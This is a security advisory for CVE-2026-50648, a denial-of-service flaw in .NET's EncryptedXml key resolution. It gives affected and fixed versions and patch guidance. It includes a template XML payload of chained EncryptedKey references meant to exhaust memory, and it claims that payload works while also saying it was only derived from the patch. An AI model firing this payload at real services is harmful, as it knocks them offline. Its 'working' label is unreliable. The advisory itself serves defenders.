high · 7.5CVE-2026-50648Jul 20, 2026

CVE-2026-50648: System.Security.Cryptography.Xml EncryptedXml Denial of Service

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted XML document with deeply nested EncryptedData elements can make .NET's EncryptedXml parser loop recursively until the process runs out of memory or CPU, crashing any app that decrypts attack

PackageSystem.Security.Cryptography.Xml
Ecosystemnuget
Affected>= 10.0.0, <= 10.0.9
Fixed in10.0.10

The problem

The EncryptedXml class in System.Security.Cryptography.Xml processes XML encryption structures that can reference other encrypted elements via KeyInfo/RetrievalMethod chains. Before the fix, there was no recursion depth limit or resource cap on that resolution loop.

An unauthenticated remote attacker can send a small XML document with deeply nested or mutually referencing EncryptedData/EncryptedKey elements to any endpoint that calls EncryptedXml.DecryptDocument(). The parser recursively resolves references until memory or CPU is exhausted, crashing the process.

CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Proof of concept

A working proof-of-concept for CVE-2026-50648 in System.Security.Cryptography.Xml, with the exact payload below.

xml
<xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
  <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes128-cbc"/>
  <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:RetrievalMethod URI="#EK1" Type="http://www.w3.org/2001/04/xmlenc#EncryptedKey"/>
  </ds:KeyInfo>
  <xenc:CipherData><xenc:CipherValue>AAAA</xenc:CipherValue></xenc:CipherData>
</xenc:EncryptedData>

<!-- Hundreds or thousands of chained EncryptedKey elements,
     each referencing the next via RetrievalMethod, e.g.: -->
<xenc:EncryptedKey Id="EK1" xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
  <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p"/>
  <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:RetrievalMethod URI="#EK2" Type="http://www.w3.org/2001/04/xmlenc#EncryptedKey"/>
  </ds:KeyInfo>
  <xenc:CipherData><xenc:CipherValue>AAAA</xenc:CipherValue></xenc:CipherData>
</xenc:EncryptedKey>
<!-- ...repeat EK2 -> EK3 -> ... -> EKN until OOM -->

When EncryptedXml.DecryptDocument() encounters an EncryptedData element, it resolves the key by following KeyInfo/RetrievalMethod URIs. Each resolved EncryptedKey can itself contain another RetrievalMethod, so the resolver recurses. Before the patch, there was no cap on this chain depth, allowing an attacker to force arbitrarily deep recursion from a single small HTTP request.

The July 2026 patch (runtime issue #130714) adds a hard recursion depth limit to the key-resolution loop and restricts which CipherReference transform types are accepted. Deeply nested structures are now rejected with a CryptographicException before resource exhaustion can occur.

Public PoC not yet available; payload structure derived from patch behavior and advisory description.

The fix

Update System.Security.Cryptography.Xml to 10.0.10 (.NET 10), 9.0.18 (.NET 9), or 8.0.29 (.NET 8). Run: dotnet add package System.Security.Cryptography.Xml. Recompile and redeploy. Also update your .NET runtime/SDK to the July 2026 servicing release. If a temporary workaround is needed before patching, avoid passing untrusted XML to EncryptedXml.DecryptDocument().

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research